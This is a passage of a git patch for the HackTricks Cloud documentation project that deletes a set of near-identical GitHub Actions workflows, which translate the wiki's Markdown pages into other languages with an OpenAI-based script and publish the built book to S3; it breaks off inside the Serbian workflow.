From 3e2e1b6814c21cfb7b7110c4b06cf0ccc6c1c91d Mon Sep 17 00:00:00 2001 From: Translator Date: Thu, 21 Aug 2025 00:24:34 +0000 Subject: [PATCH] Translated ['src/pentesting-cloud/azure-security/az-services/az-logic-ap --- .github/workflows/translate_af.yml | 119 --------- .github/workflows/translate_de.yml | 119 --------- .github/workflows/translate_el.yml | 119 --------- .github/workflows/translate_es.yml | 119 --------- .github/workflows/translate_fr.yml | 119 --------- .github/workflows/translate_it.yml | 119 --------- .github/workflows/translate_ja.yml | 119 --------- .github/workflows/translate_ko.yml | 119 --------- .github/workflows/translate_pl.yml | 119 --------- .github/workflows/translate_pt.yml | 119 --------- .github/workflows/translate_sr.yml | 119 --------- .github/workflows/translate_sw.yml | 119 --------- .github/workflows/translate_tr.yml | 119 --------- .github/workflows/translate_uk.yml | 119 --------- .github/workflows/translate_zh.yml | 119 --------- .../github-security/README.md | 232 +++++++++++++++--- .../aws-services/aws-macie-enum.md | 144 +++++++++-- .../az-postgresql-post-exploitation.md | 27 +- .../az-services/az-automation-accounts.md | 24 +- .../az-services/az-container-registry.md | 16 +- .../az-services/az-logic-apps.md | 230 +++++++++++------ 21 files changed, 508 insertions(+), 1950 deletions(-) delete mode 100644 .github/workflows/translate_af.yml delete mode 100644 .github/workflows/translate_de.yml delete mode 100644 .github/workflows/translate_el.yml delete mode 100644 .github/workflows/translate_es.yml delete mode 100644 .github/workflows/translate_fr.yml delete mode 100644 .github/workflows/translate_it.yml delete mode 100644 .github/workflows/translate_ja.yml delete mode 100644 .github/workflows/translate_ko.yml delete mode 100644 .github/workflows/translate_pl.yml delete mode 100644 .github/workflows/translate_pt.yml delete mode 100644 .github/workflows/translate_sr.yml delete mode 100644 .github/workflows/translate_sw.yml delete mode 100644 .github/workflows/translate_tr.yml delete mode 100644 .github/workflows/translate_uk.yml delete mode 100644 .github/workflows/translate_zh.yml diff --git a/.github/workflows/translate_af.yml b/.github/workflows/translate_af.yml deleted file mode 100644 index 027419cd8..000000000 --- a/.github/workflows/translate_af.yml +++ /dev/null @@ -1,119 +0,0 @@ -name: Translator to AF (Afrikaans) - -on: - push: - branches: - - master - paths-ignore: - - 'scripts/**' - - '.gitignore' - - '.github/**' - workflow_dispatch: - -concurrency: af - -permissions: - id-token: write - contents: write - -jobs: - run-translation: - runs-on: ubuntu-latest - environment: prod - env: - LANGUAGE: Afrikaans - BRANCH: af - - steps: - - name: Checkout code - uses: actions/checkout@v2 - with: - fetch-depth: 0 #Needed to download everything to be able to access the master & language branches - - - name: Set up Python - uses: actions/setup-python@v2 - with: - python-version: 3.8 - - - name: Install python dependencies - run: | - python -m pip install --upgrade pip - pip3 install openai tqdm tiktoken - - # Install Rust and Cargo - - name: Install Rust and Cargo - uses: actions-rs/toolchain@v1 - with: - toolchain: stable - override: true - - # Install mdBook and Plugins - - name: Install mdBook and Plugins - run: | - cargo install mdbook - cargo install mdbook-alerts - cargo install mdbook-reading-time - cargo install mdbook-pagetoc - cargo install mdbook-tabs - cargo install mdbook-codename - - - - name: Update & install wget & translator.py - run: | - sudo apt-get update - sudo apt-get install wget -y - cd scripts - rm -f translator.py - wget https://raw.githubusercontent.com/carlospolop/hacktricks-cloud/master/scripts/translator.py - cd .. - - - name: Download language branch #Make sure we have last version - run: | - git config --global user.name 'Translator' - git config --global user.email 'github-actions@github.com' - git checkout "$BRANCH" - git pull - git checkout master - - - name: Run translation script on changed files - run: | - echo "Starting translations" - echo "Commit: $GITHUB_SHA" - - # Export the OpenAI API key as an environment variable - export OPENAI_API_KEY=${{ secrets.OPENAI_API_KEY }} - - # Run the translation script on each changed file - git diff --name-only HEAD~1 | grep -v "SUMMARY.md" | while read -r file; do - if echo "$file" | grep -qE '\.md$'; then - echo -n "$file , " >> /tmp/file_paths.txt - else - echo "Skipping $file" - fi - done - - echo "Translating $(cat /tmp/file_paths.txt)" - python scripts/translator.py --language "$LANGUAGE" --branch "$BRANCH" --api-key "$OPENAI_API_KEY" -f "$(cat /tmp/file_paths.txt)" -t 3 - - # Push changes to the repository - - name: Commit and push changes - run: | - git checkout "$BRANCH" - git add -A - git commit -m "Translated $BRANCH files" || true - git push --set-upstream origin "$BRANCH" - - # Build the mdBook - - name: Build mdBook - run: mdbook build - - # Login in AWs - - name: Configure AWS credentials using OIDC - uses: aws-actions/configure-aws-credentials@v3 - with: - role-to-assume: ${{ secrets.AWS_ROLE_ARN }} - aws-region: us-east-1 - - # Sync the build to S3 - - name: Sync to S3 - run: aws s3 sync ./book s3://hacktricks-cloud/$BRANCH --delete diff --git a/.github/workflows/translate_de.yml b/.github/workflows/translate_de.yml deleted file mode 100644 index bff3dba78..000000000 --- a/.github/workflows/translate_de.yml +++ /dev/null @@ -1,119 +0,0 @@ -name: Translator to DE (German) - -on: - push: - branches: - - master - paths-ignore: - - 'scripts/**' - - '.gitignore' - - '.github/**' - workflow_dispatch: - -concurrency: de - -permissions: - id-token: write - contents: write - -jobs: - run-translation: - runs-on: ubuntu-latest - environment: prod - env: - LANGUAGE: German - BRANCH: de - - steps: - - name: Checkout code - uses: actions/checkout@v2 - with: - fetch-depth: 0 #Needed to download everything to be able to access the master & language branches - - - name: Set up Python - uses: actions/setup-python@v2 - with: - python-version: 3.8 - - - name: Install python dependencies - run: | - python -m pip install --upgrade pip - pip3 install openai tqdm tiktoken - - # Install Rust and Cargo - - name: Install Rust and Cargo - uses: actions-rs/toolchain@v1 - with: - toolchain: stable - override: true - - # Install mdBook and Plugins - - name: Install mdBook and Plugins - run: | - cargo install mdbook - cargo install mdbook-alerts - cargo install mdbook-reading-time - cargo install mdbook-pagetoc - cargo install mdbook-tabs - cargo install mdbook-codename - - - - name: Update & install wget & translator.py - run: | - sudo apt-get update - sudo apt-get install wget -y - cd scripts - rm -f translator.py - wget https://raw.githubusercontent.com/carlospolop/hacktricks-cloud/master/scripts/translator.py - cd .. - - - name: Download language branch #Make sure we have last version - run: | - git config --global user.name 'Translator' - git config --global user.email 'github-actions@github.com' - git checkout "$BRANCH" - git pull - git checkout master - - - name: Run translation script on changed files - run: | - echo "Starting translations" - echo "Commit: $GITHUB_SHA" - - # Export the OpenAI API key as an environment variable - export OPENAI_API_KEY=${{ secrets.OPENAI_API_KEY }} - - # Run the translation script on each changed file - git diff --name-only HEAD~1 | grep -v "SUMMARY.md" | while read -r file; do - if echo "$file" | grep -qE '\.md$'; then - echo -n "$file , " >> /tmp/file_paths.txt - else - echo "Skipping $file" - fi - done - - echo "Translating $(cat /tmp/file_paths.txt)" - python scripts/translator.py --language "$LANGUAGE" --branch "$BRANCH" --api-key "$OPENAI_API_KEY" -f "$(cat /tmp/file_paths.txt)" -t 3 - - # Push changes to the repository - - name: Commit and push changes - run: | - git checkout "$BRANCH" - git add -A - git commit -m "Translated $BRANCH files" || true - git push --set-upstream origin "$BRANCH" - - # Build the mdBook - - name: Build mdBook - run: mdbook build - - # Login in AWs - - name: Configure AWS credentials using OIDC - uses: aws-actions/configure-aws-credentials@v3 - with: - role-to-assume: ${{ secrets.AWS_ROLE_ARN }} - aws-region: us-east-1 - - # Sync the build to S3 - - name: Sync to S3 - run: aws s3 sync ./book s3://hacktricks-cloud/$BRANCH --delete diff --git a/.github/workflows/translate_el.yml b/.github/workflows/translate_el.yml deleted file mode 100644 index 743f1d2dd..000000000 --- a/.github/workflows/translate_el.yml +++ /dev/null @@ -1,119 +0,0 @@ -name: Translator to EL (Greek) - -on: - push: - branches: - - master - paths-ignore: - - 'scripts/**' - - '.gitignore' - - '.github/**' - workflow_dispatch: - -concurrency: el - -permissions: - id-token: write - contents: write - -jobs: - run-translation: - runs-on: ubuntu-latest - environment: prod - env: - LANGUAGE: Greek - BRANCH: el - - steps: - - name: Checkout code - uses: actions/checkout@v2 - with: - fetch-depth: 0 #Needed to download everything to be able to access the master & language branches - - - name: Set up Python - uses: actions/setup-python@v2 - with: - python-version: 3.8 - - - name: Install python dependencies - run: | - python -m pip install --upgrade pip - pip3 install openai tqdm tiktoken - - # Install Rust and Cargo - - name: Install Rust and Cargo - uses: actions-rs/toolchain@v1 - with: - toolchain: stable - override: true - - # Install mdBook and Plugins - - name: Install mdBook and Plugins - run: | - cargo install mdbook - cargo install mdbook-alerts - cargo install mdbook-reading-time - cargo install mdbook-pagetoc - cargo install mdbook-tabs - cargo install mdbook-codename - - - - name: Update & install wget & translator.py - run: | - sudo apt-get update - sudo apt-get install wget -y - cd scripts - rm -f translator.py - wget https://raw.githubusercontent.com/carlospolop/hacktricks-cloud/master/scripts/translator.py - cd .. - - - name: Download language branch #Make sure we have last version - run: | - git config --global user.name 'Translator' - git config --global user.email 'github-actions@github.com' - git checkout "$BRANCH" - git pull - git checkout master - - - name: Run translation script on changed files - run: | - echo "Starting translations" - echo "Commit: $GITHUB_SHA" - - # Export the OpenAI API key as an environment variable - export OPENAI_API_KEY=${{ secrets.OPENAI_API_KEY }} - - # Run the translation script on each changed file - git diff --name-only HEAD~1 | grep -v "SUMMARY.md" | while read -r file; do - if echo "$file" | grep -qE '\.md$'; then - echo -n "$file , " >> /tmp/file_paths.txt - else - echo "Skipping $file" - fi - done - - echo "Translating $(cat /tmp/file_paths.txt)" - python scripts/translator.py --language "$LANGUAGE" --branch "$BRANCH" --api-key "$OPENAI_API_KEY" -f "$(cat /tmp/file_paths.txt)" -t 3 - - # Push changes to the repository - - name: Commit and push changes - run: | - git checkout "$BRANCH" - git add -A - git commit -m "Translated $BRANCH files" || true - git push --set-upstream origin "$BRANCH" - - # Build the mdBook - - name: Build mdBook - run: mdbook build - - # Login in AWs - - name: Configure AWS credentials using OIDC - uses: aws-actions/configure-aws-credentials@v3 - with: - role-to-assume: ${{ secrets.AWS_ROLE_ARN }} - aws-region: us-east-1 - - # Sync the build to S3 - - name: Sync to S3 - run: aws s3 sync ./book s3://hacktricks-cloud/$BRANCH --delete \ No newline at end of file diff --git a/.github/workflows/translate_es.yml b/.github/workflows/translate_es.yml deleted file mode 100644 index 7a1a78ee2..000000000 --- a/.github/workflows/translate_es.yml +++ /dev/null @@ -1,119 +0,0 @@ -name: Translator to ES (Spanish) - -on: - push: - branches: - - master - paths-ignore: - - 'scripts/**' - - '.gitignore' - - '.github/**' - workflow_dispatch: - -concurrency: es - -permissions: - id-token: write - contents: write - -jobs: - run-translation: - runs-on: ubuntu-latest - environment: prod - env: - LANGUAGE: Spanish - BRANCH: es - - steps: - - name: Checkout code - uses: actions/checkout@v2 - with: - fetch-depth: 0 #Needed to download everything to be able to access the master & language branches - - - name: Set up Python - uses: actions/setup-python@v2 - with: - python-version: 3.8 - - - name: Install python dependencies - run: | - python -m pip install --upgrade pip - pip3 install openai tqdm tiktoken - - # Install Rust and Cargo - - name: Install Rust and Cargo - uses: actions-rs/toolchain@v1 - with: - toolchain: stable - override: true - - # Install mdBook and Plugins - - name: Install mdBook and Plugins - run: | - cargo install mdbook - cargo install mdbook-alerts - cargo install mdbook-reading-time - cargo install mdbook-pagetoc - cargo install mdbook-tabs - cargo install mdbook-codename - - - - name: Update & install wget & translator.py - run: | - sudo apt-get update - sudo apt-get install wget -y - cd scripts - rm -f translator.py - wget https://raw.githubusercontent.com/carlospolop/hacktricks-cloud/master/scripts/translator.py - cd .. - - - name: Download language branch #Make sure we have last version - run: | - git config --global user.name 'Translator' - git config --global user.email 'github-actions@github.com' - git checkout "$BRANCH" - git pull - git checkout master - - - name: Run translation script on changed files - run: | - echo "Starting translations" - echo "Commit: $GITHUB_SHA" - - # Export the OpenAI API key as an environment variable - export OPENAI_API_KEY=${{ secrets.OPENAI_API_KEY }} - - # Run the translation script on each changed file - git diff --name-only HEAD~1 | grep -v "SUMMARY.md" | while read -r file; do - if echo "$file" | grep -qE '\.md$'; then - echo -n "$file , " >> /tmp/file_paths.txt - else - echo "Skipping $file" - fi - done - - echo "Translating $(cat /tmp/file_paths.txt)" - python scripts/translator.py --language "$LANGUAGE" --branch "$BRANCH" --api-key "$OPENAI_API_KEY" -f "$(cat /tmp/file_paths.txt)" -t 3 - - # Push changes to the repository - - name: Commit and push changes - run: | - git checkout "$BRANCH" - git add -A - git commit -m "Translated $BRANCH files" || true - git push --set-upstream origin "$BRANCH" - - # Build the mdBook - - name: Build mdBook - run: mdbook build - - # Login in AWs - - name: Configure AWS credentials using OIDC - uses: aws-actions/configure-aws-credentials@v3 - with: - role-to-assume: ${{ secrets.AWS_ROLE_ARN }} - aws-region: us-east-1 - - # Sync the build to S3 - - name: Sync to S3 - run: aws s3 sync ./book s3://hacktricks-cloud/$BRANCH --delete diff --git a/.github/workflows/translate_fr.yml b/.github/workflows/translate_fr.yml deleted file mode 100644 index 412c0b024..000000000 --- a/.github/workflows/translate_fr.yml +++ /dev/null @@ -1,119 +0,0 @@ -name: Translator to FR (French) - -on: - push: - branches: - - master - paths-ignore: - - 'scripts/**' - - '.gitignore' - - '.github/**' - workflow_dispatch: - -concurrency: fr - -permissions: - id-token: write - contents: write - -jobs: - run-translation: - runs-on: ubuntu-latest - environment: prod - env: - LANGUAGE: French - BRANCH: fr - - steps: - - name: Checkout code - uses: actions/checkout@v2 - with: - fetch-depth: 0 #Needed to download everything to be able to access the master & language branches - - - name: Set up Python - uses: actions/setup-python@v2 - with: - python-version: 3.8 - - - name: Install python dependencies - run: | - python -m pip install --upgrade pip - pip3 install openai tqdm tiktoken - - # Install Rust and Cargo - - name: Install Rust and Cargo - uses: actions-rs/toolchain@v1 - with: - toolchain: stable - override: true - - # Install mdBook and Plugins - - name: Install mdBook and Plugins - run: | - cargo install mdbook - cargo install mdbook-alerts - cargo install mdbook-reading-time - cargo install mdbook-pagetoc - cargo install mdbook-tabs - cargo install mdbook-codename - - - - name: Update & install wget & translator.py - run: | - sudo apt-get update - sudo apt-get install wget -y - cd scripts - rm -f translator.py - wget https://raw.githubusercontent.com/carlospolop/hacktricks-cloud/master/scripts/translator.py - cd .. - - - name: Download language branch #Make sure we have last version - run: | - git config --global user.name 'Translator' - git config --global user.email 'github-actions@github.com' - git checkout "$BRANCH" - git pull - git checkout master - - - name: Run translation script on changed files - run: | - echo "Starting translations" - echo "Commit: $GITHUB_SHA" - - # Export the OpenAI API key as an environment variable - export OPENAI_API_KEY=${{ secrets.OPENAI_API_KEY }} - - # Run the translation script on each changed file - git diff --name-only HEAD~1 | grep -v "SUMMARY.md" | while read -r file; do - if echo "$file" | grep -qE '\.md$'; then - echo -n "$file , " >> /tmp/file_paths.txt - else - echo "Skipping $file" - fi - done - - echo "Translating $(cat /tmp/file_paths.txt)" - python scripts/translator.py --language "$LANGUAGE" --branch "$BRANCH" --api-key "$OPENAI_API_KEY" -f "$(cat /tmp/file_paths.txt)" -t 3 - - # Push changes to the repository - - name: Commit and push changes - run: | - git checkout "$BRANCH" - git add -A - git commit -m "Translated $BRANCH files" || true - git push --set-upstream origin "$BRANCH" - - # Build the mdBook - - name: Build mdBook - run: mdbook build - - # Login in AWs - - name: Configure AWS credentials using OIDC - uses: aws-actions/configure-aws-credentials@v3 - with: - role-to-assume: ${{ secrets.AWS_ROLE_ARN }} - aws-region: us-east-1 - - # Sync the build to S3 - - name: Sync to S3 - run: aws s3 sync ./book s3://hacktricks-cloud/$BRANCH --delete diff --git a/.github/workflows/translate_it.yml b/.github/workflows/translate_it.yml deleted file mode 100644 index 035f02d99..000000000 --- a/.github/workflows/translate_it.yml +++ /dev/null @@ -1,119 +0,0 @@ -name: Translator to IT (Italian) - -on: - push: - branches: - - master - paths-ignore: - - 'scripts/**' - - '.gitignore' - - '.github/**' - workflow_dispatch: - -concurrency: it - -permissions: - id-token: write - contents: write - -jobs: - run-translation: - runs-on: ubuntu-latest - environment: prod - env: - LANGUAGE: Italian - BRANCH: it - - steps: - - name: Checkout code - uses: actions/checkout@v2 - with: - fetch-depth: 0 #Needed to download everything to be able to access the master & language branches - - - name: Set up Python - uses: actions/setup-python@v2 - with: - python-version: 3.8 - - - name: Install python dependencies - run: | - python -m pip install --upgrade pip - pip3 install openai tqdm tiktoken - - # Install Rust and Cargo - - name: Install Rust and Cargo - uses: actions-rs/toolchain@v1 - with: - toolchain: stable - override: true - - # Install mdBook and Plugins - - name: Install mdBook and Plugins - run: | - cargo install mdbook - cargo install mdbook-alerts - cargo install mdbook-reading-time - cargo install mdbook-pagetoc - cargo install mdbook-tabs - cargo install mdbook-codename - - - - name: Update & install wget & translator.py - run: | - sudo apt-get update - sudo apt-get install wget -y - cd scripts - rm -f translator.py - wget https://raw.githubusercontent.com/carlospolop/hacktricks-cloud/master/scripts/translator.py - cd .. - - - name: Download language branch #Make sure we have last version - run: | - git config --global user.name 'Translator' - git config --global user.email 'github-actions@github.com' - git checkout "$BRANCH" - git pull - git checkout master - - - name: Run translation script on changed files - run: | - echo "Starting translations" - echo "Commit: $GITHUB_SHA" - - # Export the OpenAI API key as an environment variable - export OPENAI_API_KEY=${{ secrets.OPENAI_API_KEY }} - - # Run the translation script on each changed file - git diff --name-only HEAD~1 | grep -v "SUMMARY.md" | while read -r file; do - if echo "$file" | grep -qE '\.md$'; then - echo -n "$file , " >> /tmp/file_paths.txt - else - echo "Skipping $file" - fi - done - - echo "Translating $(cat /tmp/file_paths.txt)" - python scripts/translator.py --language "$LANGUAGE" --branch "$BRANCH" --api-key "$OPENAI_API_KEY" -f "$(cat /tmp/file_paths.txt)" -t 3 - - # Push changes to the repository - - name: Commit and push changes - run: | - git checkout "$BRANCH" - git add -A - git commit -m "Translated $BRANCH files" || true - git push --set-upstream origin "$BRANCH" - - # Build the mdBook - - name: Build mdBook - run: mdbook build - - # Login in AWs - - name: Configure AWS credentials using OIDC - uses: aws-actions/configure-aws-credentials@v3 - with: - role-to-assume: ${{ secrets.AWS_ROLE_ARN }} - aws-region: us-east-1 - - # Sync the build to S3 - - name: Sync to S3 - run: aws s3 sync ./book s3://hacktricks-cloud/$BRANCH --delete \ No newline at end of file diff --git a/.github/workflows/translate_ja.yml b/.github/workflows/translate_ja.yml deleted file mode 100644 index 29379d9e7..000000000 --- a/.github/workflows/translate_ja.yml +++ /dev/null @@ -1,119 +0,0 @@ -name: Translator to JA (Japanese) - -on: - push: - branches: - - master - paths-ignore: - - 'scripts/**' - - '.gitignore' - - '.github/**' - workflow_dispatch: - -concurrency: ja - -permissions: - id-token: write - contents: write - -jobs: - run-translation: - runs-on: ubuntu-latest - environment: prod - env: - LANGUAGE: Japanese - BRANCH: ja - - steps: - - name: Checkout code - uses: actions/checkout@v2 - with: - fetch-depth: 0 #Needed to download everything to be able to access the master & language branches - - - name: Set up Python - uses: actions/setup-python@v2 - with: - python-version: 3.8 - - - name: Install python dependencies - run: | - python -m pip install --upgrade pip - pip3 install openai tqdm tiktoken - - # Install Rust and Cargo - - name: Install Rust and Cargo - uses: actions-rs/toolchain@v1 - with: - toolchain: stable - override: true - - # Install mdBook and Plugins - - name: Install mdBook and Plugins - run: | - cargo install mdbook - cargo install mdbook-alerts - cargo install mdbook-reading-time - cargo install mdbook-pagetoc - cargo install mdbook-tabs - cargo install mdbook-codename - - - - name: Update & install wget & translator.py - run: | - sudo apt-get update - sudo apt-get install wget -y - cd scripts - rm -f translator.py - wget https://raw.githubusercontent.com/carlospolop/hacktricks-cloud/master/scripts/translator.py - cd .. - - - name: Download language branch #Make sure we have last version - run: | - git config --global user.name 'Translator' - git config --global user.email 'github-actions@github.com' - git checkout "$BRANCH" - git pull - git checkout master - - - name: Run translation script on changed files - run: | - echo "Starting translations" - echo "Commit: $GITHUB_SHA" - - # Export the OpenAI API key as an environment variable - export OPENAI_API_KEY=${{ secrets.OPENAI_API_KEY }} - - # Run the translation script on each changed file - git diff --name-only HEAD~1 | grep -v "SUMMARY.md" | while read -r file; do - if echo "$file" | grep -qE '\.md$'; then - echo -n "$file , " >> /tmp/file_paths.txt - else - echo "Skipping $file" - fi - done - - echo "Translating $(cat /tmp/file_paths.txt)" - python scripts/translator.py --language "$LANGUAGE" --branch "$BRANCH" --api-key "$OPENAI_API_KEY" -f "$(cat /tmp/file_paths.txt)" -t 3 - - # Push changes to the repository - - name: Commit and push changes - run: | - git checkout "$BRANCH" - git add -A - git commit -m "Translated $BRANCH files" || true - git push --set-upstream origin "$BRANCH" - - # Build the mdBook - - name: Build mdBook - run: mdbook build - - # Login in AWs - - name: Configure AWS credentials using OIDC - uses: aws-actions/configure-aws-credentials@v3 - with: - role-to-assume: ${{ secrets.AWS_ROLE_ARN }} - aws-region: us-east-1 - - # Sync the build to S3 - - name: Sync to S3 - run: aws s3 sync ./book s3://hacktricks-cloud/$BRANCH --delete diff --git a/.github/workflows/translate_ko.yml b/.github/workflows/translate_ko.yml deleted file mode 100644 index 16669be6f..000000000 --- a/.github/workflows/translate_ko.yml +++ /dev/null @@ -1,119 +0,0 @@ -name: Translator to KO (Korean) - -on: - push: - branches: - - master - paths-ignore: - - 'scripts/**' - - '.gitignore' - - '.github/**' - workflow_dispatch: - -concurrency: ko - -permissions: - id-token: write - contents: write - -jobs: - run-translation: - runs-on: ubuntu-latest - environment: prod - env: - LANGUAGE: Korean - BRANCH: ko - - steps: - - name: Checkout code - uses: actions/checkout@v2 - with: - fetch-depth: 0 #Needed to download everything to be able to access the master & language branches - - - name: Set up Python - uses: actions/setup-python@v2 - with: - python-version: 3.8 - - - name: Install python dependencies - run: | - python -m pip install --upgrade pip - pip3 install openai tqdm tiktoken - - # Install Rust and Cargo - - name: Install Rust and Cargo - uses: actions-rs/toolchain@v1 - with: - toolchain: stable - override: true - - # Install mdBook and Plugins - - name: Install mdBook and Plugins - run: | - cargo install mdbook - cargo install mdbook-alerts - cargo install mdbook-reading-time - cargo install mdbook-pagetoc - cargo install mdbook-tabs - cargo install mdbook-codename - - - - name: Update & install wget & translator.py - run: | - sudo apt-get update - sudo apt-get install wget -y - cd scripts - rm -f translator.py - wget https://raw.githubusercontent.com/carlospolop/hacktricks-cloud/master/scripts/translator.py - cd .. - - - name: Download language branch #Make sure we have last version - run: | - git config --global user.name 'Translator' - git config --global user.email 'github-actions@github.com' - git checkout "$BRANCH" - git pull - git checkout master - - - name: Run translation script on changed files - run: | - echo "Starting translations" - echo "Commit: $GITHUB_SHA" - - # Export the OpenAI API key as an environment variable - export OPENAI_API_KEY=${{ secrets.OPENAI_API_KEY }} - - # Run the translation script on each changed file - git diff --name-only HEAD~1 | grep -v "SUMMARY.md" | while read -r file; do - if echo "$file" | grep -qE '\.md$'; then - echo -n "$file , " >> /tmp/file_paths.txt - else - echo "Skipping $file" - fi - done - - echo "Translating $(cat /tmp/file_paths.txt)" - python scripts/translator.py --language "$LANGUAGE" --branch "$BRANCH" --api-key "$OPENAI_API_KEY" -f "$(cat /tmp/file_paths.txt)" -t 3 - - # Push changes to the repository - - name: Commit and push changes - run: | - git checkout "$BRANCH" - git add -A - git commit -m "Translated $BRANCH files" || true - git push --set-upstream origin "$BRANCH" - - # Build the mdBook - - name: Build mdBook - run: mdbook build - - # Login in AWs - - name: Configure AWS credentials using OIDC - uses: aws-actions/configure-aws-credentials@v3 - with: - role-to-assume: ${{ secrets.AWS_ROLE_ARN }} - aws-region: us-east-1 - - # Sync the build to S3 - - name: Sync to S3 - run: aws s3 sync ./book s3://hacktricks-cloud/$BRANCH --delete \ No newline at end of file diff --git a/.github/workflows/translate_pl.yml b/.github/workflows/translate_pl.yml deleted file mode 100644 index f0ebf6f61..000000000 --- a/.github/workflows/translate_pl.yml +++ /dev/null @@ -1,119 +0,0 @@ -name: Translator to PL (Polish) - -on: - push: - branches: - - master - paths-ignore: - - 'scripts/**' - - '.gitignore' - - '.github/**' - workflow_dispatch: - -concurrency: pl - -permissions: - id-token: write - contents: write - -jobs: - run-translation: - runs-on: ubuntu-latest - environment: prod - env: - LANGUAGE: Polish - BRANCH: pl - - steps: - - name: Checkout code - uses: actions/checkout@v2 - with: - fetch-depth: 0 #Needed to download everything to be able to access the master & language branches - - - name: Set up Python - uses: actions/setup-python@v2 - with: - python-version: 3.8 - - - name: Install python dependencies - run: | - python -m pip install --upgrade pip - pip3 install openai tqdm tiktoken - - # Install Rust and Cargo - - name: Install Rust and Cargo - uses: actions-rs/toolchain@v1 - with: - toolchain: stable - override: true - - # Install mdBook and Plugins - - name: Install mdBook and Plugins - run: | - cargo install mdbook - cargo install mdbook-alerts - cargo install mdbook-reading-time - cargo install mdbook-pagetoc - cargo install mdbook-tabs - cargo install mdbook-codename - - - - name: Update & install wget & translator.py - run: | - sudo apt-get update - sudo apt-get install wget -y - cd scripts - rm -f translator.py - wget https://raw.githubusercontent.com/carlospolop/hacktricks-cloud/master/scripts/translator.py - cd .. - - - name: Download language branch #Make sure we have last version - run: | - git config --global user.name 'Translator' - git config --global user.email 'github-actions@github.com' - git checkout "$BRANCH" - git pull - git checkout master - - - name: Run translation script on changed files - run: | - echo "Starting translations" - echo "Commit: $GITHUB_SHA" - - # Export the OpenAI API key as an environment variable - export OPENAI_API_KEY=${{ secrets.OPENAI_API_KEY }} - - # Run the translation script on each changed file - git diff --name-only HEAD~1 | grep -v "SUMMARY.md" | while read -r file; do - if echo "$file" | grep -qE '\.md$'; then - echo -n "$file , " >> /tmp/file_paths.txt - else - echo "Skipping $file" - fi - done - - echo "Translating $(cat /tmp/file_paths.txt)" - python scripts/translator.py --language "$LANGUAGE" --branch "$BRANCH" --api-key "$OPENAI_API_KEY" -f "$(cat /tmp/file_paths.txt)" -t 3 - - # Push changes to the repository - - name: Commit and push changes - run: | - git checkout "$BRANCH" - git add -A - git commit -m "Translated $BRANCH files" || true - git push --set-upstream origin "$BRANCH" - - # Build the mdBook - - name: Build mdBook - run: mdbook build - - # Login in AWs - - name: Configure AWS credentials using OIDC - uses: aws-actions/configure-aws-credentials@v3 - with: - role-to-assume: ${{ secrets.AWS_ROLE_ARN }} - aws-region: us-east-1 - - # Sync the build to S3 - - name: Sync to S3 - run: aws s3 sync ./book s3://hacktricks-cloud/$BRANCH --delete \ No newline at end of file diff --git a/.github/workflows/translate_pt.yml b/.github/workflows/translate_pt.yml deleted file mode 100644 index b7dbb3249..000000000 --- a/.github/workflows/translate_pt.yml +++ /dev/null @@ -1,119 +0,0 @@ -name: Translator to PT (Portuguese) - -on: - push: - branches: - - master - paths-ignore: - - 'scripts/**' - - '.gitignore' - - '.github/**' - workflow_dispatch: - -concurrency: pt - -permissions: - id-token: write - contents: write - -jobs: - run-translation: - runs-on: ubuntu-latest - environment: prod - env: - LANGUAGE: Portuguese - BRANCH: pt - - steps: - - name: Checkout code - uses: actions/checkout@v2 - with: - fetch-depth: 0 #Needed to download everything to be able to access the master & language branches - - - name: Set up Python - uses: actions/setup-python@v2 - with: - python-version: 3.8 - - - name: Install python dependencies - run: | - python -m pip install --upgrade pip - pip3 install openai tqdm tiktoken - - # Install Rust and Cargo - - name: Install Rust and Cargo - uses: actions-rs/toolchain@v1 - with: - toolchain: stable - override: true - - # Install mdBook and Plugins - - name: Install mdBook and Plugins - run: | - cargo install mdbook - cargo install mdbook-alerts - cargo install mdbook-reading-time - cargo install mdbook-pagetoc - cargo install mdbook-tabs - cargo install mdbook-codename - - - - name: Update & install wget & translator.py - run: | - sudo apt-get update - sudo apt-get install wget -y - cd scripts - rm -f translator.py - wget https://raw.githubusercontent.com/carlospolop/hacktricks-cloud/master/scripts/translator.py - cd .. - - - name: Download language branch #Make sure we have last version - run: | - git config --global user.name 'Translator' - git config --global user.email 'github-actions@github.com' - git checkout "$BRANCH" - git pull - git checkout master - - - name: Run translation script on changed files - run: | - echo "Starting translations" - echo "Commit: $GITHUB_SHA" - - # Export the OpenAI API key as an environment variable - export OPENAI_API_KEY=${{ secrets.OPENAI_API_KEY }} - - # Run the translation script on each changed file - git diff --name-only HEAD~1 | grep -v "SUMMARY.md" | while read -r file; do - if echo "$file" | grep -qE '\.md$'; then - echo -n "$file , " >> /tmp/file_paths.txt - else - echo "Skipping $file" - fi - done - - echo "Translating $(cat /tmp/file_paths.txt)" - python scripts/translator.py --language "$LANGUAGE" --branch "$BRANCH" --api-key "$OPENAI_API_KEY" -f "$(cat /tmp/file_paths.txt)" -t 3 - - # Push changes to the repository - - name: Commit and push changes - run: | - git checkout "$BRANCH" - git add -A - git commit -m "Translated $BRANCH files" || true - git push --set-upstream origin "$BRANCH" - - # Build the mdBook - - name: Build mdBook - run: mdbook build - - # Login in AWs - - name: Configure AWS credentials using OIDC - uses: aws-actions/configure-aws-credentials@v3 - with: - role-to-assume: ${{ secrets.AWS_ROLE_ARN }} - aws-region: us-east-1 - - # Sync the build to S3 - - name: Sync to S3 - run: aws s3 sync ./book s3://hacktricks-cloud/$BRANCH --delete diff --git a/.github/workflows/translate_sr.yml b/.github/workflows/translate_sr.yml deleted file mode 100644 index 4a9290527..000000000 --- a/.github/workflows/translate_sr.yml +++ /dev/null @@ -1,119 +0,0 @@ -name: Translator to SR (Serbian) - -on: - push: - branches: - - master - paths-ignore: - - 'scripts/**' - - '.gitignore' - - '.github/**' - workflow_dispatch: - -concurrency: sr - -permissions: - id-token: write - contents: write - -jobs: - run-translation: - runs-on: ubuntu-latest - environment: prod - env: - LANGUAGE: Serbian - BRANCH: sr - - steps: - - name: Checkout code - uses: actions/checkout@v2 - with: - fetch-depth: 0 #Needed to download everything to be able to access the master & language branches - - - name: Set up Python - uses: actions/setup-python@v2 - with: - python-version: 3.8 - - - name: Install python dependencies - run: | - python -m pip install --upgrade pip - pip3 install openai tqdm tiktoken - - # Install Rust and Cargo - - name: Install Rust and Cargo - uses: actions-rs/toolchain@v1 - with: - toolchain: stable - override: true - - # Install mdBook and Plugins - - name: Install mdBook and Plugins - run: | - cargo install mdbook - cargo install mdbook-alerts - cargo install mdbook-reading-time - cargo install mdbook-pagetoc - cargo install mdbook-tabs - cargo install mdbook-codename - - - - name: Update & install wget & translator.py - run: | - sudo 